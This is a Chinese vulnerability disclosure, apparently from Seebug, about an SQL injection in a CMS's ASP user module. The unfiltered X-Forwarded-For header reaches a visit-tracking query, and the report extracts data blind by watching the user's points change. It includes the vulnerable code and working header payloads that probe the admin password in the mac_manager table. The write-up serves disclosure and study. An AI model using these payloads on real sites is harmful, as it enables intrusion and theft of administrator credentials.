### 简要描述: asp版本安全性有待加强~ ### 详细说明: /user/index.asp ``` sub tg dim userid,Ip,Ly,sql,rsUV,rs userid = be("get","uid") : userid=chkSql(userid,true) on error resume next if isN(application("LyLastDelDate")) then application("LyLastDelDate") = Date() if isNum(userid) and app_popularizestate=1 then Ip = getIP() Ly= getReferer() Set rs = objdb.db("select * from {pre}user where u_id=" & userid &"","rs1") if not rs.eof then sql="Select * From {pre}user_visit where uv_uid = " &userid&" and uv_ip ='"&IP&"' and year(uv_time)="&Year(date)&" and month(uv_time)="&month(date)&" and day(uv_time)="&day(date) set rsUV = objdb.db(sql,"rs1") if rsUV.eof or rsUV.bof then objdb.add "{pre}user_visit",Array("uv_uid","uv_ip","uv_ly","uv_time" ), array(userid,Ip,Ly,now() ) objdb.db "update {pre}user set u_tj=u_tj+1,u_points=u_points+" & app_popularize & " where u_id="& userid,"exe" If DateDiff("d",application("LyLastDelDate"),Date())<>0 Then Sql="delete from {pre}user_visit where year(uv_time)<="&Year(date)&"...
### 简要描述: asp版本安全性有待加强~ ### 详细说明: /user/index.asp ``` sub tg dim userid,Ip,Ly,sql,rsUV,rs userid = be("get","uid") : userid=chkSql(userid,true) on error resume next if isN(application("LyLastDelDate")) then application("LyLastDelDate") = Date() if isNum(userid) and app_popularizestate=1 then Ip = getIP() Ly= getReferer() Set rs = objdb.db("select * from {pre}user where u_id=" & userid &"","rs1") if not rs.eof then sql="Select * From {pre}user_visit where uv_uid = " &userid&" and uv_ip ='"&IP&"' and year(uv_time)="&Year(date)&" and month(uv_time)="&month(date)&" and day(uv_time)="&day(date) set rsUV = objdb.db(sql,"rs1") if rsUV.eof or rsUV.bof then objdb.add "{pre}user_visit",Array("uv_uid","uv_ip","uv_ly","uv_time" ), array(userid,Ip,Ly,now() ) objdb.db "update {pre}user set u_tj=u_tj+1,u_points=u_points+" & app_popularize & " where u_id="& userid,"exe" If DateDiff("d",application("LyLastDelDate"),Date())<>0 Then Sql="delete from {pre}user_visit where year(uv_time)<="&Year(date)&" and month(uv_time)<="&month(date)&" and day(uv_time)<"&day(date) objdb.db Sql,"exe" application("LyLastDelDate") = Date() End If end if end if objdb.c(rs) end if on error goto 0 response.redirect "../" end sub ``` tg子程序调用getIP()获得用户IP,看看这个getIP函数: ``` function getIP() dim x, y x = Request.ServerVariables("HTTP_X_FORWARDED_FOR") y = Request.ServerVariables("REMOTE_ADDR") if(isN(x) or lCase(x)="unknown") then getIP=y else getIP=x if instr(getIP,".")=0 then getIP = "0.0.0.0" end function ``` 没有过滤。 所以我们可以在HTTP_X_FORWARDED_FOR插入任何字符进行注入。关键问题是怎么出数据。 因为我们这个select没有直接出数据的地方,有些人可能说是个鸡肋,不过我不这么看。 我们来仔细看看代码: ``` sql="Select * From {pre}user_visit where uv_uid = " &userid&" and uv_ip ='"&IP&"' and year(uv_time)="&Year(date)&" and month(uv_time)="&month(date)&" and day(uv_time)="&day(date) set rsUV = objdb.db(sql,"rs1") if rsUV.eof or rsUV.bof then ``` 这里含注入的sql语句执行完成以后,判断是否有结果,如果没有结果的话,就会进入上面这个if语句,我们在if语句后手动加一个response.end看看什么效果: [<img src="https://images.seebug.org/upload/201408/062213431dbbc50442aa2dbe606d71bb03ae28e7.jpg" alt="05.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/062213431dbbc50442aa2dbe606d71bb03ae28e7.jpg) [<img src="https://images.seebug.org/upload/201408/062213511c22b39705870cc46ca2423f9779c0a9.jpg" alt="06.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/062213511c22b39705870cc46ca2423f9779c0a9.jpg) 如上图我们发现这个盲注是有效的,当然因为我这里加了一个response.end所以才会有这个效果,如果我没有改变代码的话,二者的返回结果还是一样的。 那么我们接下来怎么办? 我们看到代码: ``` if rsUV.eof or rsUV.bof then objdb.add "{pre}user_visit",Array("uv_uid","uv_ip","uv_ly","uv_time" ), array(userid,Ip,Ly,now() ) objdb.db "update {pre}user set u_tj=u_tj+1,u_points=u_points+" & app_popularize & " where u_id="& userid,"exe" ``` 进入if语句后会执行一个update,这个update是完成修改用户积分的一个功能。我们可以在用户页面看到这个积分项: [<img src="https://images.seebug.org/upload/201408/070048404b3866736f0727b6c16931155f6366b0.jpg" alt="07.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/070048404b3866736f0727b6c16931155f6366b0.jpg) 所以,在注入的时候,我们可以通过这个积分项的变化来进行盲注。 举个例子,首先查看自己的当前积分: [<img src="https://images.seebug.org/upload/201408/0701111916e86181da7d20effe231b55616605a4.jpg" alt="0011.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/0701111916e86181da7d20effe231b55616605a4.jpg) 这是我的注入语句: ``` X-FORWARDED-FOR: 1.2.3.4' or (select top 1 asc(mid(m_password,1,1)) from mac_manager)>1000 or '1'=' ``` 密码的第一个字母的ascii码大于1000,肯定是不成立的,发送数据包以后查看自己的积分: [<img src="https://images.seebug.org/upload/201408/0701092073d4802ab0353e70aec5877dce7b445e.jpg" alt="10.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/0701092073d4802ab0353e70aec5877dce7b445e.jpg) [<img src="https://images.seebug.org/upload/201408/070111329f38e5d9daf794f7d2913c4fa2e9ced8.jpg" alt="0012.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/070111329f38e5d9daf794f7d2913c4fa2e9ced8.jpg) 如上图, 积分已经增加了1。 如果把注入语句改一下: ``` X-FORWARDED-FOR: 1.2.3.4' or (select top 1 asc(mid(m_password,1,1)) from mac_manager)>0 or '1'=' ``` 密码的第一个字符ascii码大于0,肯定是成立的,发包后再看自己的积分: [<img src="https://images.seebug.org/upload/201408/070059292bc8a8d67d78ad82a0ef7494b9a081d5.jpg" alt="08.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/070059292bc8a8d67d78ad82a0ef7494b9a081d5.jpg) [<img src="https://images.seebug.org/upload/201408/07011141c98a00d7f57108dcb678a0c83c04bfd3.jpg" alt="0013.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/07011141c98a00d7f57108dcb678a0c83c04bfd3.jpg) 还是不变的19。通过自己积分的变化,就能盲注出数据。 这就是这个盲注的利用方法,虽然有些复杂,但是依旧是一个“可以利用”而不鸡肋的漏洞! ### 漏洞证明: 如上